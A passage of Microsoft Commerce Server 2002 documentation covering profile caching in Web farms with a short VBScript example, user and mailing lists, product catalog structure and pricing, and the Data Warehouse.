The lookup of address profiles always bypasses the cache because they are accessed infrequently and there is potentially a large number of these profiles to track. Organization profile lookups bypass the cache on an as-needed basis depending on the likelihood of the data in the profile changing.

Even with the timestamp solution, there are potential cache coherency issues with the profiles. For instance, if a user's profile, which is currently cached, is changed from the Business or Partner Desk on a different computer by a different user, the sites will not know that the cache is out of date. To mitigate this, the Solution Sites call the GetInfo method upon login. If this level of accuracy is not acceptable, the Solution Sites include the m_iGlobalProfileLookUpOption variable, declared in the file include\setupenv.asp, which when set always forces a GetInfo method call to retrieve the profile from the Profiles store.

The following function, EnsureUpToDateUserProfile from the Solution Sites, illustrates the core functionality of an implementation that addresses these issues. To view the full context of the code that addresses Web farm issues, review the code in the Solution Sites files login.asp and stdprofile_lib.asp.

Sub EnsureUpToDateUserProfile(ByRef rsUser)
   Dim sCookieTimeStamp, sCacheTimeStamp

   ' Since testing cookie support on every page that
   ' calls UpdateUserProfile is
   ' expensive, we assume cookie support unless we detect a ticket in URL.
   If m_iTicketLocation <> 1 Then
      sCookieTimeStamp = Request.Cookies("UserProfileTimeStamp")
      sCacheTimeStamp = CStr(rsUser.Fields("ProfileSystem.date_last_changed").Value)

         If (sCookieTimeStamp = "") Or (sCacheTimeStamp <> sCookieTimeStamp) Then
            Call GetProfileFromDB(rsUser)

            ' Set/update the cookie timestamp
               If rsUser Is Nothing Then
                  ' Delete the cookie for a deleted profile.
                  Response.Cookies("UserProfileTimeStamp").Expires=Now - 1
               Else
          Response.Cookies("UserProfileTimeStamp") =
rsUser.Fields("ProfileSystem.date_last_changed").Value
               End If
         End If
         Else
            ' Get the current user's profile from the database
            ' if cookies are not supported.
            Call GetProfileFromDB(rsUser)
         End If
End Sub

See Also

Running the Profiles Resource

Using Profiles in Web Site Management

Profile Structure

Profile Definitions

Profile Properties

Profile Property Attributes

Collecting and Storing Profiles


User List and Mailing List Concepts

User lists and mailing lists are text files that contain user profile properties. You use user lists to search and update user profile properties,and you use mailing lists to send direct mail campaigns.

This section contains:

  • Using Lists in Web Site Management
  • Mailing Lists
  • User Lists
  • Generic Lists
  • Dynamic Lists and Static Lists


Using Lists in Web Site Management

You use the List Manager module in Commerce Server Business Desk to import and export user lists and mailing lists in Business Desk.

  • Adding lists to List Manager. You can export a Commerce Server Analysis report as a list to List Manager. You can import a list that you created by using another application, such as SQL Server (to create a SQL table), Notepad (to create an ASCII text file), Microsoft Excel (to create a spreadsheet), or Microsoft Outlook (to export a .pst file that contains a list of addresses), to List Manager.

    For example, if you have a list of addresses in a Microsoft Excel spreadsheet, you can use List Manager to import it to Business Desk, and then use the list in a direct mail campaign. If you identify a list of users in an Analysis report, you can export the report results as a list to List Manager, and then use the list in a direct mail campaign.

    For information about importing a list to List Manager, see Importing and Exporting Lists. For information about exporting a Commerce Server Analysis report to List Manager, see Exporting a Static Report.

  • Using lists from List Manager. You can import a user list from the List Manager module to the Users module, and then update the user profiles in the list. For example, you run the Commerce Server Customer Sales report to identify users who buy the most products, and then export the report as a list to the List Manager. You import the user list from List Manager to the Users module, and then update the user profiles in the list by assigning a special value to a profile property in the user profiles. You use that value to target specific ads or discount campaigns to the users whose profiles you have modified. For information about importing a list to the Users module, see Finding User Profiles in a Mailing List. For information about modifying multiple user profiles, see Editing Multiple User Profiles.

    You can also export the list to another application. For example, you can export a list generated from an Analysis report to a Microsoft Excel spreadsheet. For information about exporting a list to a file, see Importing and Exporting Lists.

The following figure shows how you can import data from a variety of sources to the List Manager, use the lists with campaigns and to update profiles, and then update information in your databases or target personalized content to users.

A figure that shows the components

See Also

Mailing Lists

User Lists

Generic Lists

Dynamic Lists and Static Lists


Mailing Lists

Mailing lists contain rows of e-mail addresses for a direct mail campaign. Each row in the list contains a single recipient and consists of the following elements in a comma-delimited format.

Element | Description
E-mail address | Required. Name or <name@domain>.
GUID | Optional. The unique user ID that will be used to provide content in a personalized mail message.
Message format | Optional. Controls the message format type into which Collaboration Data Objects (CDO) translates the results, for example, text, MIME Encapsulation of Aggregate HTML Documents (MHTML), or Multipurpose Internet Mail Extensions (MIME).
Language | Optional. The code-page value for the mail message.
URL | Optional. Provides the ability to pass individual URLs per user to CDO.

You can create a list by using any text editor, such as Notepad. You can add a mailing list to Business Desk by using the List Manager module to import ASCII text files, files from Microsoft Excel or Microsoft Outlook, or tables from SQL Server databases. To create a mailing list by using information in a .pst file from Microsoft Outlook, see the topic "Export items to a file or to a personal folder file" in Microsoft Outlook Help.

For information about importing mailing lists for a direct mail campaign, see Importing a Mailing List.

See Also

Using Lists in Web Site Management

User Lists

Generic Lists

Dynamic Lists and Static Lists


User Lists

User lists contain rows of user IDs and, optionally, other user profile properties. You can export user lists from the List Manager module to the Profile Definition Designer module, and then perform bulk updates on the properties for the specific users.

For example, you can import a list from the Segment Viewer module and set a property in the user profile for each user to indicate their membership in a particular segment. You can then use this information to target ads and discounts to that specified user segment.

See Also

Using Lists in Web Site Management

Mailing Lists

Generic Lists

Dynamic Lists and Static Lists


Generic Lists

Generic lists can contain anything, and they can include headers, as in the following example:

ProductID | ProductName | Unit
1 | Socks | 100
2 | Shirts | 20

Unlike user lists and mailing lists, generic lists do not have content requirements. To use generic lists, a site developer must customize your application.

You might want to use generic lists to set product properties, for example. You run the Commerce Server Product Sales report to identify the most popular products (in terms of sales) on your Web site. You then use the List Manager module to import the result of this report as a list of products, and use the Catalog Editor module to set a property on these products that identifies them as strong sellers. You can then use this property to create target expressions, or to increase the price of these products by five percent.

Another way you can use generic lists is to mail coupons to your frequent online customers for use in your brick-and-mortar store. You can do this by running a report to analyze user purchases, exporting the results of the report as a list that includes the mailing addresses, and then using List Manager to export this list for use in a labeling application.

See Also

Using Lists in Web Site Management

Mailing Lists

User Lists

Dynamic Lists and Static Lists


Dynamic Lists and Static Lists

User lists, mailing lists, and generic lists can be either dynamic or static:

  • Dynamic lists are created at run time, for example, when the list is being exported from List Manager for use in a direct mail campaign. Each time the list is requested, List Manager gathers the most recent data in the Data Warehouse. Only the information needed to create the list is stored in the database used by List Manager. Use dynamic lists for direct mail campaigns that you will run frequently, or for lists of recipients that are updated frequently.
  • Static lists are created immediately upon request, and then stored in the database used by List Manager. Use static lists for direct mail campaigns that you run infrequently, or for lists of recipients that do not change often.

See Also

Importing and Exporting Lists

Finding User Profiles in a Mailing List

Managing Lists of User Records

Creating a Mailing List


Catalog Concepts

A catalog is a way of organizing the products you want to sell. You use catalogs to organize and manage the product data in your database for display on your site, and to target products to users.

To help you organize your catalogs, Commerce Server Business Desk maintains a description of the properties defined for each catalog in a catalog definition. The definition lists all the categories, products, and properties allowed in any given catalog.

This section contains:

  • Using Catalogs in Web Site Management
  • An Overview of Catalog Structure
  • Catalogs: Products and Categories
  • The Catalog Definition: A Description of Products and Categories
  • Unique Identifiers in a Catalog
  • Catalog Hierarchies and Relationships
  • Base Catalogs and Virtual Catalogs
  • Catalog Name and Size Restrictions
  • Catalogs from Multiple Suppliers
  • Aggregated Catalogs
  • Multilingual Catalogs
  • External Catalogs: Using Join Keys
  • Catalog Sets
  • Product Pricing Methods


Using Catalogs in Web Site Management

You use the Catalogs modules in Commerce Server Business Desk to create and maintain your catalogs. You can use other Business Desk modules to promote your catalog products. For example, when your site is in production, you can run reports by using the Analysis modules to identify which products are not selling, and then use the Campaigns modules to create a discount campaign to sell more of these products.

Using Business Desk, you can:

  • Import catalogs from other data sources. You can import catalogs in Extensible Markup Language (XML) or comma-separated values (CSV) format. For example, if you have catalogs in other databases, you can import them to the Commerce Server catalog database, and then use Business Desk to manage them.

    To convert a catalog to XML or CSV format, you can use your existing database management system to save the catalog in XML or CSV format, or a site developer can write a script to convert the catalog for you.

  • Export catalogs. You can export your catalogs in XML format. You might want to export a catalog if, for example, you are selling products wholesale and you want to export your catalogs to retailers. Or, you might want to export a catalog to another application, for example, an inventory system or a pricing system.

    If you want Commerce Server to import or export catalogs on a scheduled basis, a site developer can add this functionality.

  • Apply discounts to products. You can apply discounts to all products in a category or to certain products that meet specified criteria. For example, if Product.price > 20.00, you can specify that a discount of 10 percent is applied to the price of that product when users add it to their shopping baskets.
  • Edit products in the catalog. You can change the product name, price, description, and other product properties as needed.
  • Update product information in real time. You can update product information, such as the product price, and then immediately publish the changes to your Web site. For example, if users have added a product to their baskets, and your site is updated before they check out, Commerce Server applies the new price to the product in their baskets. If users have saved their baskets, and then return to them after you have updated the price, the new price is displayed to the users.
  • Identify which products are selling. You can run Commerce Server reports to identify the top-selling products by units sold and by total sales, and you can identify the top-selling categories by units sold and by total sales. You can use the results of your analysis, for example, to discount products that are not selling well, or to promote accessories for products that are selling well. In addition, your site developer can customize your site to support related sells, such as up-sells and intelligent cross-sells.
  • Search for products. You can find products by performing a property search or a free-text search.

The following figure provides an overview of the processes in the Product Catalog System that are involved in importing and exporting catalogs, updating the Catalogs database, and importing catalog data into the Data Warehouse for reporting purposes.


An Overview of Catalog Structure

A Commerce Server 2002 catalog consists of three main parts:

  • Catalog definition. A description of the categories and product properties for a catalog. The definition lists all the categories, products, and properties allowed in any given catalog. The catalog definition is available to all catalogs in the site.
  • Base catalog. A single instance of the catalog definition that contains data.
  • Virtual catalog. A catalog that references the product data in one or more base catalogs. Products are represented only once in the database, regardless of how many virtual catalogs they appear in.

The following table shows a sample catalog definition, Clothes, and then a single instance of the Clothes catalog definition with data for the catalog Sports Clothes.

Catalog definition Base catalog: Sports Clothes
Category Definition: Department
Category Properties
Name
Description
Image_filename
Image_width
Image_height
 Category: Sport Shirts Department

Sport Shirts Department
2002 catalog of sport shirts
Sport_shirts.gif
100
200
Product Definition: Shirts
Product Properties:
Name
Manufacturer
Price
Product Variant Properties:
Size
Color
SKU
 Product: Ace Soccer Shirt

Ace Soccer Shirt
Ace Shirts
$20.00

M
Green
23354

To help you understand Commerce Server catalogs, the following topics explain catalogs starting from what you see on a Web site, such as a Sports Clothes catalog, and then progressing to the underlying structure, that is, the catalog definition.


Catalogs: Products and Categories

A Commerce Server catalog is an instance of a catalog definition that contains data about individual products and the categories in which they are organized. To create a catalog, you use the Catalog modules in Commerce Server Business Desk to import an external catalog, or build a new catalog, and then publish the catalog to your Web site.

This section addresses the following:

  • The Catalog
  • Categories
  • Products
  • Product Families and Product Variants


The Catalog

A catalog consists of categories, products, product variants, and properties. Users visiting your Web site navigate through categories, read the descriptions of products, and buy specific products or product variants. The properties provide keywords for users to search for products.


Categories

Categories are individual instances of a category definition. For example, a category definition named Department might be used to create the category Soccer Shirts.

Each category and product can have one primary parent category. The primary parent category provides a canonical path to a child category or product. In addition, if a product is in more than one category, and pricing is set at the category level, only the pricing from the primary parent category is applied to the child categories and products. (You can set pricing at the category level by using either category-level pricing or a virtual catalog price rule on the category.)


Products

Products are single items in your catalog. A product is defined by a combination of property definitions. For example, if you have a product definition named Soccer Shirts, which has the properties Name, Color, and Size, you create a product for each name, color, and size combination that you want to include in your catalog.


Product Families and Product Variants

A product family is a product that contains product variants. A product family is not distinct from a product in any other way.

In the previous figure, Ace Soccer Shirt is a product family that includes the same type of shirt in all combinations of available colors and sizes. Each combination of type, size, and color is a product variant. A size Large, green shirt with the SKU 114 is one product variant of the Soccer Shirt product; taken together, size, color, and SKU form one variant.

A product family always includes a unique identifier, such as the product name.

A product variant always includes a unique identifier, such as the SKU, and it includes a price. Each product variant is based on the same product definition.


The Catalog Definition: A Description of Products and Categories

The catalog definition describes the characteristics of the categories and products in a particular type of catalog. For example, the catalog definition for a Sports Clothes catalog could contain the following product definitions: Shirts, Pants, and Shoes. To create a catalog definition, you use the Catalog Definition Designer module in Commerce Server Business Desk.

The following figure shows the parts of a catalog definition, and how they map to the parts of the catalog. Properties are used in the category definition and the product definition. The category definition "DEPT" is used for the "Soccer Shirts" category. The product definition "Soccer Shirt" is used for the "Ace Soccer Shirt" product.

This section addresses the following:

  • The Catalog Definition
  • Category Definitions
  • Product Definitions
  • Property Definitions


The Catalog Definition

The catalog definition consists of category definitions, product definitions, and property definitions. Category definitions and product definitions are created by using property definitions.

The following figure shows the parts of a sample catalog definition.

F igure showing the parts of a sample catalog definition

You can edit the catalog definition even after a catalog has data in it. For example, you can do the following:

  • Rename a product or category definition
  • Change the properties included in a category definition or product definition

You cannot do the following:

  • Rename a property definition
  • Change the data type of a property, for example, from a number to a string


Category Definitions

Category definitions describe the specific qualities of the categories in your catalog. These category qualities are called category properties. You create a category definition by assigning category properties to it. For example, the Department category definition might have the following category properties: Name, Description, Image File Name, Image Height, and Image Width. When you create a category based on the Department category definition, you enter values for the category properties. For example, the Name category property might be "Sport Shirts Department."


Product Definitions

Product definitions describe the specific qualities of a particular product. These product qualities are called product properties. You create a product definition by assigning product properties to it. For example, you might create a product definition named Shirt that would include three product properties: Name, Manufacturer, and Price. When you create a product based on the Shirt product definition, you enter values for the product properties. For example, the Name product property might be "Ace Soccer Shirt."


Property Definitions

Both category properties and product properties are based on property definitions. A property definition describes information about the property, such as the data type of the property (for example, number, text, multilingual text, or decimal), the name of the property, and a minimum value for the property. For example, you can create a property named Shirt_Size with the values Small, Medium, and Large, or a property named Length with a minimum value of 10 and a maximum value of 120.


Unique Identifiers in a Catalog

When you create a base catalog, you specify which properties are the unique identifiers for products and product variants. Both products and product variants have unique identifiers. The unique identifiers are either a text or a number type of property.

Note

  • In a virtual catalog the product ID will always be "ProductId" and the variant ID will always be "VariantId." When creating a virtual catalog, you do not have to specify the product ID and variant ID.

If you have a catalog of books, for example, the title of the book might be the unique identifier for the product, and the ISBN number might be the unique identifier for the product variant. For the book The Quest Ahead, the hardback version would be one variant, the paperback version another, and the audio version a third. All three product variants are part of the product family The Quest Ahead.

The following example shows the components of the product family The Quest Ahead:

Product Family = The Quest Ahead
Unique ID = Title: The Quest Ahead

Product Variant = The Quest Ahead hardback
Unique ID = ISBN: 1102334
Price = 20.00
Product Variant = The Quest Ahead paperback
Unique ID = ISBN: 1102335
Price = 10.00
Product Variant = The Quest Ahead audio
Unique ID = ISBN: 1102336
Price = 15.00

For a list of best practices for assigning unique identifiers, see Best Practices for Catalogs.


Catalog Hierarchies and Relationships

While the catalog definition provides the underlying structure for the catalog, you create catalog hierarchies and relationships to organize the products in your catalog and make it easier for users to navigate to the products they want.

You can create category hierarchies and relationships among categories and products that are in the same catalog, or in different catalogs. For example, if you have a large catalog, you can create a parent category that includes several other categories, known as child categories. When users navigate to the parent category, the child categories appear, enabling users to quickly navigate to the category that contains the products they want.

This section contains:

  • Primary Parent Category


Primary Parent Category

Each category and product can have one primary parent category. The primary parent category provides a canonical path to a child category or product. In addition, if a product is in more than one category, and pricing is set at the category level, only the pricing from the primary parent category is applied to the child categories and products. (You can set pricing at the category level by using either category-level pricing or a virtual catalog price rule on the category.)

The following figure shows how a parent category can have several child categories, and how each child category can also be a parent category.

Figure showing how the primary parent category works

In the previous figure, the Sports Clothes Catalog has two categories: Shirts and Pants. The Shirts category has two child categories: Soccer Shirts and Two-piece Track Suits. This organization gives users two paths to the Two-piece Track Suits category. They can navigate to Track Suits through the Shirts category or through the Pants category.

This figure also shows an accessory relationship between Ace Soccer Shirt and Ace Soccer Shorts. If users are interested in the shirts, they might also be interested in the shorts.


Base Catalogs and Virtual Catalogs

Before you create and organize your catalogs, it is important to understand that you can create two types of catalogs: base catalogs and virtual catalogs. The two types of catalogs are described in the following topics, together with three examples of how you can use virtual catalogs.

This section contains:

  • Base Catalogs
  • Virtual Catalogs
  • Virtual Catalog Example 1: Providing Special Pricing
  • Virtual Catalog Example 2: Pricing Products in Other Currencies
  • Virtual Catalog Example 3: Offering a Subset of Products


Base Catalogs

Base catalogs contain categories and products, but they do not contain any specific pricing rules. Base catalogs also contain product data, which is stored in the catalog database.


Virtual Catalogs

Virtual catalogs reference the product data in one or more base catalogs. If you add a product to a base catalog, the product can also appear in the associated virtual catalog, depending on the inclusion rules. Products in a virtual catalog are represented only once in the database, regardless of how many virtual catalogs they appear in.

There are three primary uses for virtual catalogs:

  • To aggregate multiple catalogs so they appear as one catalog to users
  • To price products in multiple currencies
  • To provide special pricing, or subsets of products, for specified groups of users

Virtual catalogs support price rules. That is, you can specify whether the price for the category or product is the same as the price in the base catalog, or different, for example, a percentage or set amount more or less.


Virtual Catalog Example 1: Providing Special Pricing

In the following figure, two fictional European companies - Wheels Express and Bikes Galore – have entered into a contract. Wheels Express will sell motorcycle wheels to Bikes Galore customers at a 20 percent discount. All products are priced in euros.

Figure that demonstrates virtual catalogs


Virtual Catalog Example 2: Pricing Products in Other Currencies

The following figure shows a virtual catalog that includes products in a base catalog, which are priced in U.S. dollars. The prices in the virtual catalog are multiplied by .056, so that prices for products sold in Canada are shown in Canadian dollars.

Figure that demonstrates virtual catalogs


Virtual Catalog Example 3: Offering a Subset of Products

The following figure shows a virtual catalog that includes a subset of products from a base catalog. The subset of products will be sold in France. All products are priced in euros.

Figure that demonstrates virtual catalogs


Catalog Name and Size Restrictions

This section lists the name and size restrictions for catalogs at the Commerce Server Business Desk level and at the Catalog application programming interface (API) level.

This section contains:

  • Business Desk and Catalog API
  • Product Catalog Data Import DTS Task Restrictions
  • Scale Points for Product Catalogs
  • User-defined Property and Catalog Attributes


Business Desk and Catalog API

The following character restrictions apply for the indicated properties:

Item | Name and size restrictions
Property Definition Name
  • A property definition name can be up to 100 characters long.
  • A numeral is not allowed in the first position.
  • Do not use commas (,) or periods (.).
  • Do not use characters that are not accepted in an XML tag name. For a list of characters that are accepted in an XML tag name, see the ''Microsoft XML 3.0 - XML Developer's Guide,'' available at http://go.microsoft.com/fwlink/?LinkId=5161.
  • Do not use "ProductID" or "VariantID" in property definition names.
Product Definition Name | A product definition name can be up to 128 characters long.
Category Definition Name | A category definition name can be up to 128 characters long.
Catalog Name (internal name, not the one displayed on your Web site)
  • The name must be unique.
  • A catalog name can be up to 85 characters long.
  • Do not use brackets ([,]), apostrophes ('), parentheses ((,)), or number signs (#). Do not use commas or periods.
  • There are no restrictions on the catalog display name.
  • If you have two or more Commerce Server sites with separate databases in which catalog data is stored, and the sites are sharing the same Data Warehouse, do not give the same name to the different catalogs for the two different sites. If two catalogs have the same name, the Data Warehouse treats them as one catalog.
Category Name
  • The name must be unique.
  • Do not use slashes (/) or quotation marks ("). Do not use commas.
  • Do not use a name that is more than 100 characters long.
Product Name
  • The maximum length of the product name depends on the value specified in the product definition. Commerce Server does not limit the length.
  • For each product, use a unique name.
  • Verify that none of your category and product name combinations are repeated.
    • If you create a catalog for a site, and you have non-unique product names within categories, the wrong product might be added to the shopping basket when the user selects a product for purchase. This occurs because the product name is appended to the category name. For example, product 1A in category B and product A in category B1 are both stored as "B1A."
Product ID
  • Use an integer or text.
  • Do not use date/time or a currency.


Product Catalog Date Import DTS Task Restrictions

If you are importing catalog data into the Data Warehouse, do not create catalog properties that contain special characters. Special characters cause the product catalog data import DTS task to fail. For example, catalog properties should not include the following characters: '!', '"', '%', '&', '(', ')', '*', '+', ',', '-', '.', '/', ':', ';', '<', '=', '>', '?', '\\’, ']', '^', '`', '{', '|', '}', '~'. They should not contain any control characters, for example, 0x00 /* NULL */, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07 /* , CONTROL-G <BEL> */, 0x08 /* CONTROL-H <BS> */, 0x09 /* CONTROL-I <HT> */, 0x0a /* CONTROL-J <LF> */, 0x0b /* CONTROL-K <VT> */, x0c /* CONTROL-J <FF> */, 0x0d /* CONTROL-M <PRS_CR> */, 0x0e /* , CONTROL-N <SO> */, 0x0f /* CONTROL-O <SI> */, 1x10, 0x11, 0x12, and so on.


Scale Points for Product Catalogs

The following table lists the scale points for Commerce Server catalogs.

Item | Size or number supported
Number of catalogs | 10,000 base catalogs or 10,000 virtual catalogs, or a total of 10,000 catalogs of both types
Number of products per catalog | Five million Commerce Server has not been tested with 10,000 catalogs each containing five million products
Number of languages per catalog | 10
Number of property definitions per catalog | 1,000
Number of base catalogs per virtual catalog | 80
Number of products per virtual catalog | One million
Number of price rules per virtual catalog | 10,000
Number of products per category | 10,000
Number of nested categories | Five

In addition, Commerce Server supports the SQL text data type, which is not subject to the SQL Server row size limit of 8,060 bytes. Multiple product catalogs can share a single SQL Server full-text catalog.


User-defined Property and Catalog Attributes

The maximum number of user-defined property and catalog attributes is 100. Commerce Server 2002 allows you to define additional attributes to associate user-specific information with properties and catalogs. For example, you can create a user-defined catalog attribute to associate vendor information with a catalog.

You can use the AddPropertyAttribute and AddCatalogAttribute methods of the CatalogManager object to add property and catalog attributes. The following character restrictions apply for the indicated properties.

Item Name and size restrictions
CatalogProperty
  • There is no numeric limit.
  • The maximum number of Catalog Properties that can be used in any one catalog is 1000. (SQL Server has a limit of 1024 columns in any table.)
  • These properties are also the names of the columns in the per-catalog tables.
PropertyAttribute
  • The maximum number of user-defined Property Attributes that can be added to the Product Catalog System is 100. These are not related to the CatalogProducts table.
  • These properties are the additional user-defined columns in the CatalogAttributes table.
CatalogAttribute
  • The maximum number of user-defined Catalog Attributes that can be added to the Product Catalog System is 100. These are not related to the CatalogProducts table.

See Also

Best Practices for Catalogs


Catalogs from Multiple Suppliers

You can import catalogs from multiple suppliers, display them on your Web site as one catalog, and when users buy a product from the catalog, you can transmit the orders directly to the suppliers for fulfillment.

Each Commerce Server catalog includes a vendor ID attribute. This attribute is populated when your system administrator uses Microsoft BizTalk Server to set up a trading partner agreement with a vendor (and configures the App Default Config resource so the BizTalk Options property is set to "1"). If the vendor ID attribute is empty, Commerce Server assumes you are the vendor for that catalog.

When you integrate with BizTalk Server, the vendor ID attribute is used to automatically send purchase orders to that vendor for the items purchased from the catalog. After your system administrator sets up an agreement with a vendor, the new vendor will be added to the drop-down list of vendors in Commerce Server Business Desk, and you can then choose the vendor from the list.

There are two main steps to implement this scenario:

  • Create a virtual catalog in which you aggregate the content from the supplier catalogs. This step is described in "Creating a Virtual Catalog" in Commerce Server 2002 Help.
  • Integrate Commerce Server with BizTalk Server to transmit orders to your trading partners. This step is described in "Integrating with BizTalk Server" in Commerce Server 2002 Help.

Following is an overview of the steps you and your vendors perform to exchange catalogs by using BizTalk Server:

  1. Install and configure BizTalk Server so you can receive catalogs from vendors.
  2. Configure the App Default Config resource so the BizTalk Options property is set to 1.
  3. Set up an agreement with a vendor.
  4. A vendor sends you their catalog by using e-mail or BizTalk Server, and you then import the catalog into your Commerce Server catalog database by using the Catalog Editor module in Business Desk.
  5. You can send catalogs from Business Desk to the vendor by clicking the Send button on the toolbar in the Catalog Editor module. A dialog box appears that lists the vendors that are defined in BizTalk Server with agreements, and to which you can send the catalog.

More than one catalog can be associated with a given vendor. You can also specify a vendor at the product level; however, if you do specify a vendor at the product level, your site developer must customize the _additem.asp page on your Web site. For information about customizing _additem.asp, see Commerce Server Solution Sites.


Aggregated Catalogs

An aggregated catalog displays the content of multiple catalogs. For example, if you are selling content from multiple suppliers, each of which sends you one or more catalogs, you can combine the content into one aggregated catalog.

To aggregate two or more catalogs, you first create a virtual catalog and then include the content from the base catalogs. To the user visiting your site, an aggregated catalog appears as though it is one catalog.

An aggregated catalog is different from a catalog set in that they consist of different components and provide availability in different ways.

  • An aggregated catalog is the combination of multiple catalogs into one virtual catalog.
  • A catalog set is a group of one or more catalogs that you make available to different users or organizations. You can then create a catalog set that includes aggregated catalogs, and other catalogs in your database.

You specify which users or organizations can view the catalogs in a catalog set; an aggregated catalog can be available to all users, if the aggregated catalog is not a member of a catalog set.


Multilingual Catalogs

A multilingual catalog displays category and product text in more than one language. For example, you might want to display product information in English, French, and Japanese.

Following is an overview of the steps you perform to create a multilingual catalog. These steps are described in detail in Commerce Server 2002 Help:

  1. Add multilingual property definitions for the items you want to display in more than one language.

    By default, the catalog definition includes a set of multilingual properties, for example:

    • Product Name – Multilingual Text
    • Description – Multilingual Text
    • Color – Multilingual Multiple Choice
  2. Add product definitions that use the multilingual properties. For example, assign Product Name, Description, and Color to each product definition.
  3. Create the base catalog, and specify the languages the catalog is to support, for example, English, French, and Japanese.
  4. Add products and categories that include the multilingual properties, such as Product Name and Description.
  5. Translate the multilingual products and categories into the languages supported by the catalog. You can use one of the following methods to translate the catalog:
    • Translating a catalog by exporting/importing. If you have many products you need to translate, use the Catalog Editor module to export the catalog to XML, and then send it to a translator. After the catalog is translated, you can import it to the catalog database used by Commerce Server. You can then use Commerce Server Business Desk to update and publish the catalog as needed.
    • Translating a Catalog with Business Desk. If you have only a few products you need to translate, use the Catalog Editor module in Business Desk to manually add the product data in a different language.


External Catalogs: Using Join Keys

A new feature in Commerce Server 2002 is support for join keys. Use join keys to link to external tables to retrieve inventory data at run time, and to associate multiple values with a product.

Two common scenarios for using join keys are:

  • Retrieving volatile catalog data at run time, such as inventory data. You cannot include inventory data in the catalog itself because the site never writes to the catalog database. In addition, to use Network Load Balancing, the catalog database must be read-only.
  • Associating multiple values with a product, such as a list of song titles for a CD, a cast list for a movie title, or a list of customer reviews for a product.

The following figure shows how you can use join keys to retrieve data from an external table and the Commerce Server catalog database.

Figure showing the use of join keys to retrieve data from an external table


Catalog Sets

You determine which catalog a user sees on your site by creating catalog sets. A catalog set is a group of one or more catalogs that you make available to different users or organizations.

A catalog set is different from an aggregated catalog in that they consist of different components and provide availability in different ways.

  • An aggregated catalog is the combination of multiple catalogs into one virtual catalog.
  • A catalog set is a group of one or more catalogs that you make available to different users or organizations. You can then create a catalog set that includes aggregated catalogs, and other catalogs in your database.

You specify which users or organizations can view the catalogs in a catalog set; an aggregated catalog can be available to all users, if the aggregated catalog is not a member of a catalog set.

To create a catalog set, for example, you might create two base catalogs and a virtual catalog, define a catalog set that includes the two base catalogs and the virtual catalog, and then display the catalog set to members of a specific organization. The following figure shows how members of a soccer club can view the Team Clothes catalog that has special pricing.

Figure showing special pricing catalog

You use Business Desk Profiles modules to specify which catalog set a user can view. When you create a new user, you specify the catalog set name.


Product Pricing Methods

It is likely that you will need to update product prices on a regular basis. Initially, however, you can set the price of a product in a catalog by using one of the following methods: direct pricing, indirect pricing, and custom pricing (price rules).

This section contains:

  • Direct Pricing
  • Indirect Pricing
  • Custom Pricing (Price Rules in a Virtual Catalog)


Direct Pricing

You define the price for a product in the product itself. You can do this either when you create the product or when you edit it to change the price.


Indirect Pricing

The price is determined by its association with a particular pricing category. When a product is associated with a pricing category, the price on the product is replaced by the price specified in that category. The original price of the product is restored when it is no longer associated with that particular pricing category.

Indirect pricing is typically used when you want to price a group of products the same way, for example, to create a special category where all products are $1.99.


Custom Pricing (Price Rules in a Virtual Catalog)

In a virtual catalog, you can apply price rules to a category, product, or product variant.

You apply price rules when you are creating a virtual catalog in an alternate currency, or when you are creating a virtual catalog that will be displayed only to a specific group of users, for example, members of a club who receive discounted prices.

A category, product, or product variant can have only one price rule.

You can apply the following price rules to categories and products in a virtual catalog:

  • Set Price. You specify the exact price of the product. For example, the product is selling for exactly $10.00.
  • Add. You specify the exact amount to increase the base price.
  • Add percentage. You specify the percentage of the base price that should be added to the price.
  • Discount. You specify the exact amount to decrease the base price.
  • Discount percentage. You specify how much to remove from the price. To reduce the price by 20 percent, you specify 20 percent.

For more information about custom pricing, see Converting Prices to an Alternate Currency.

See Also

Using Current Product Prices vs Original Product Prices.


Data Warehouse Concepts

The Commerce Server 2002 Data Warehouse is a set of processes that a system administrator uses to import and maintain data in a combination of a SQL Server database and an Online Analytical Processing (OLAP) database. The Data Warehouse imports a large amount of site usage data collected from different data sources. This data is gathered from your Web server logs, the Commerce Server databases (profiles, campaigns, catalogs, and transactions) and other data sources that you specify. The Data Warehouse manages the data in the SQL Server and OLAP databases. These databases are then used to produce reports and to analyze and view population segments.

The Data Warehouse is designed to support robust query and analysis. You use the Analysis modules in Commerce Server Business Desk to analyze the data in the Data Warehouse, for example, to identify user trends or to analyze the effectiveness of a campaign, and then update your site to target content to specific user groups or to sell specific products.

This section contains:

  • Using the Data Warehouse in Web Site Management
  • Data Warehouse Structure
  • Overview of Importing Data to the Data Warehouse
  • Preparing Data for Analysis with OLAP Server
  • Reports: Dynamic and Static


Using the Data Warehouse in Web Site Management

The Data Warehouse combines data from multiple sources into one common structure, giving the data consistency for producing reports and for analyzing and viewing population segments. This is called the Commerce Server Business Analytics System. Business analytics is a way of looking at your Web site data to answer specific questions about the performance of your Web site. You can use the information provided by business analytics to improve your customer service and to target content to users.

Business analytics provides you with specific measurements of your Web site performance, including:

  • What site did the user visit before accessing your site (the referring site)?
  • What pages are the most popular on your Web site?
  • Which products sell the best?
  • Which users buy the most?
  • What type of advertising works?

You can use these measurements to make changes to your Web site that will increase sales and retain users. For example, assume you display an advertisement to promote a new product. After the ad is displayed for a week, you can run a report to determine whether the ad increased sales of the product. If it did not increase sales, you can update your site, for example, to display a 10 percent discount for the new product, and then after a week, determine whether the discount improved sales.

See Also

Data Warehouse Structure

Overview of Importing Data to the Data Warehouse

Preparing Data for Analysis with OLAP Server

Reports: Dynamic and Static


Data Warehouse Structure

The Data Warehouse has two main parts:

  • Physical store. A Microsoft SQL Server database that you can query by using SQL queries, and an OLAP database that you can use to run reports.
  • Logical schema. A conceptual model that maps to the data in the physical store.

The following figure shows the relationship between the physical store and the logical schema.

A figure showing the relationship between the physical store and the logical schema.

Physical Store

The physical store for the Data Warehouse includes one database that you can query by using SQL queries. The physical store contains all the data that you have imported from different sources.

During the unpacking process, Commerce Server automatically builds the physical store for the Data Warehouse in both the SQL Server database and the OLAP database. The Data Warehouse provides the data necessary for all the Commerce Server reports available in the Analysis modules in Business Desk.

There is no need to directly modify the physical store for the Data Warehouse. If you need to extend the Data Warehouse, for example, to encompass third-party data, a site developer can programmatically add the fields you need through the logical schema.

Logical Schema

